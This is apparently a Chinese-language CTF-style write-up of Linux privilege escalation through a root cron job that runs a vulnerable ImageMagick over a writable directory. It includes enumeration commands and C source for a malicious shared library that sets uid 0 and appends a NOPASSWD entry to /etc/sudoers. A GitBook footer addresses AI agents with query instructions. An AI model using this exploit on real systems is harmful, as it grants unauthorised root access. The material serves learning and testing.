> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/cron-jobs/imagemagick-cron-abuse-linux-privilege-escalation.md).

# ImageMagick Cron 滥用 - Linux 权限提升

## 这是什么

当周期性 root 任务执行可写脚本、不安全的相对路径或存在漏洞的处理器时，Cron 任务会创建权限提升路径。关键在于证明一个低权限用户控制着某个特权计划任务将要执行的内容。本页具体聚焦于 **Cron 任务 - ImageMagick 利用** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。

## 枚举

在运行利用路径之前，先确认本地上下文和具体的错误配置。

```bash
cat /etc/crontab
ls -la /etc/cron.*
systemctl list-timers --all
```

## 示例

在 `/opt/`，你可以找到一个 `script.sh` 自动执行的脚本

<figure><img src="/files/1b6df2ab0a5340728509ce6a89e9b8a369841517" alt=""><figcaption></figcaption></figure>

```bash
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
```

> 这个 shell 脚本首先切换到 `/opt/app/static/assets/images` 文件夹，然后清空 `metadata.log` 如果它存在，则清空该文件。然后，它会搜索所有 `.jpg` 该目录中的文件，并使用 ImageMagick 的 `identify` 命令提取它们的元数据（大小、格式、色深等）。然后，这些信息被存储在 `metadata.log`。因此，此脚本会为指定文件夹中的所有 JPG 图像生成一个更新后的元数据文件。

该脚本使用 **ImageMagick**，一个存在漏洞的版本。

```bash
magicks --version
```

<figure><img src="/files/339a67d8a89f882cc94619e1c93f60b91f57cd7e" alt=""><figcaption></figcaption></figure>

### 通过 `LD_PRELOAD`

我们创建一个 `a.c` 文件：

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("echo 'developer ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers");
}
```

编译：

```bash
gcc -fPIC -shared -o ./libxcb.so.1 a.c -nostartfiles
```

<figure><img src="/files/eabd9295582a5c447c65cbde59f7eed9c0338e68" alt=""><figcaption></figcaption></figure>

它被添加到由其监控且可执行的目录中，由 `ImageMagick`。然后我们执行：

```bash
su root
```

<figure><img src="/files/4069cdb0fbdebedec3a9a347b2525d25aa6d3948" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/cron-jobs/imagemagick-cron-abuse-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
